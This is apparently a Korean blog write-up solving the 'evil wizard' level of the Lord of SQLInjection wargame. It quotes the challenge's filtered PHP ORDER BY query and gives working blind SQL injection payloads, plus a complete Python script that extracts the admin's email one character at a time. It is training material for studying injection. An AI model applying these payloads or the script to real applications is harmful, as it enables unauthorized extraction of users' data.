본문 바로가기

web/Lord of SQLInjection

Lord of SQLInjection - 24번 : evil wizard

문제 살펴보기

los evil wizard 문제

 

hell fire 문제와 상당히 유사하다.

주석을 보면 "same with hell_fire? really?"라고 적혀있다.

스포를 하자면 unintend 같지만

hell fire 문제와 같은 방법으로 문제를 풀었다.

문제 풀이에 필요한 코드를 살펴보도록 하자.

 

 

 

 

 

if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i'$_GET[order])) exit("No Hack ~_~");

 

hell fire 문제와 같이 order 파라미터를 통해 데이터를 전달할 수 있다.

그런데 필터링되는 문자열이 늘었다.

prob, _, ., proc, union, sleep, benchmark가 필터링된다.

hell fire 문제에서는 sleep과 benchmark가 필터링되지 않았는데 이번 문제에서 필터링 되는 것을 보아

hell fire 문제는 time based blind sql injection 문제였다 보다.

풀이방법이 하나만 있는 것은 아니니 그냥 넘어가도록 하자.

 

 

 

 

 

  $query "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"// same with hell_fire? really?

  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  
$rows mysqli_query($db,$query);
  while((
$result mysqli_fetch_array($rows))){
      if(
$result['id'] == "admin"$result['email'] = "**************";
      echo
"<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }

 

이 부분은 hell fire 문제와 다를게 없다.

order by를 통해 prob_evil_wizard table의 행을 정렬한 후

이를 html 코드로 table을 만들어 화면상으로 보여준다.

당연히 id의 eamil은 마스킹해서 보여준다.

order 파라미터에 값을 넣어주어 정렬된 table을 보도록 하자.

 

 

 

 

 

id를 기준으로 정렬했을 경우

 

 

 

 

 

email을 기준으로 정렬했을 경우

 

 

 

 

 

score를 기준으로 정렬했을 경우

 

id, email, score를 기준으로 정렬했을 때 전부 똑같이 정렬된 것을 볼 수 있다.

그렇다면 이상한 값을 넣어주어서

아예 정렬이 되지 않았을 경우랑 정렬되었을 경우를 비교하면 될 것 같다.

 

 

 

 

 

                       $_GET[email] = addslashes($_GET[email]);
                       
$query "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'";

                       $result = @mysqli_fetch_array(mysqli_query($db,$query));
                       if((
$result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard");

 

hell fire 문제와 똑같이 id가 admin인 email의 값을 구하면 된다고 한다.

 

 

 

 

 

문제 풀이 과정

if(id='admin' and length(email)>아무 정수,1,0) 과 같이 페이로드를 작성했는데 제대로 작동하지 않았다.

아래 사진을 보면 if(id='admin' and length(email)>1,1,0) 의 결과와 if(id='admin' and length(email)<1,1,0)의 결과가

같은 것을 볼 수 있다.

 

 

 

 

 

if(id='admin' and length(email)>1,1,0)

 

 

 

 

 

if(id='admin' and length(email)<1,1,0)

 

 

 

 

 

심지어 정렬된 모습도 오름차순이 아닌 내림차순으로 정렬되어 있다.

무한 삽질을 하던 중 if(id='admin' and length(email)>아무 정수,1,3)과 같이 적어주면

조건문이 참일 때는 오름차순, 조건문이 거짓일 때는 내림차순으로 정렬된 것을 확인할 수 있었다.

이유는... 아직도 모르겠다. 일단은 문제를 풀 수 있는 힌트를 찾았으니 풀어보도록 하자.

 

 

 

 

 


admin = "<tr><td>admin</td><td>**************</td><td>50</td></tr>"
rubiya = "<tr><td>rubiya</td><td>rubiya805@gmail.com</td><td>100</td></tr>"

 

이번에도 위처럼 admin, rubiya 변수를 만들어서 문자열을 저장했다.

 

 

 

 

 


def find_admin_email_length():     #id='admin'인 행의 email의 길이를 반환하는 함수
    for i in range(0, 100):
        params = {'order': "if(id='admin' and length(email)>"+str(i)+",1,3)"}
        #?order=if(id='admin' and length(email)>i,1,3)
        res = req.get(url, cookies=cookies, params=params)  #get 방식으로 데이터 전송
        if(rubiya+admin in res.text):              #i 값이 length(email)일 경우 내림차순으로 정렬됨
            return i                              
 

 

hell fire 문제의 코드를 그대로 사용하여 email의 길이를 구하였다.

위 코드를 실행시키면 아래와 같은 결과가 나온다.

 

 

 

 

 


email_length = find_admin_email_length()
print("length :", email_length)

 

email 값의 길이

 

이번에도 길이가 상당하다...

이제 email의 값을 구해보도록 하자.

 

 

 

 

 

       
def find_email(length):      
    email = ""
    for i in range(1, length+1):    #email의 길이만큼 반복
        for char in chars:          #chars = "숫자+알파벳 대소문자+특수문자"
            params = {'order': "if(id='admin' and substr(email,"+str(i)+",1)=char("+str(ord(char))+"),1,3)"}
            #order=if(id='admin' and substr(email,i,1)=char(아스키 값),1,3)
            res = req.get(url, cookies=cookies, params=params)
            if(admin+rubiya in res.text):
                email+=char
                break
    return email

 

위 코드도 hell fire문제의 코드를 그대로 사용하였다.

해당 코드를 실행시킨 결과는 아래와 같다.

 

 

 

 

 


email_value = find_email(email_length)
print("email :", email_value)
 

 

email의 값

 

어떻게 email 값을 구하긴 했다.

이제 email 파라미터에 해당 값을 넣어보자.

 

 

 

 

 

evil wizard clear

 

이게 풀리네...

이 문제는 날 잡고 다시 정상적인 방법으로 풀어봐야겠다.

 

전체 python code


import requests as req
import string

cookies = {'PHPSESSID' : '쿠키값'}      #cookie 값
chars = string.digits+string.ascii_letters+string.punctuation     #숫자+알파벳+특수문자

admin = "<tr><td>admin</td><td>**************</td><td>50</td></tr>"
rubiya = "<tr><td>rubiya</td><td>rubiya805@gmail.com</td><td>100</td></tr>"

def find_admin_email_length():     #id='admin'인 행의 email의 길이를 반환하는 함수
    for i in range(0, 100):
        params = {'order': "if(id='admin' and length(email)>"+str(i)+",1,3)"}
        #?order=if(id='admin' and length(email)>i,1,3)
        res = req.get(url, cookies=cookies, params=params)  #get 방식으로 데이터 전송
        if(rubiya+admin in res.text):              #i 값이 length(email)일 경우 내림차순으로 정렬됨
            return i                              
       
def find_email(length):      
    email = ""
    for i in range(1, length+1):    #email의 길이만큼 반복
        for char in chars:          #chars = "숫자+알파벳 대소문자+특수문자"
            params = {'order': "if(id='admin' and substr(email,"+str(i)+",1)=char("+str(ord(char))+"),1,3)"}
            #order=if(id='admin' and substr(email,i,1)=char(아스키 값),1,3)
            res = req.get(url, cookies=cookies, params=params)
            if(admin+rubiya in res.text):
                email+=char
                break
    return email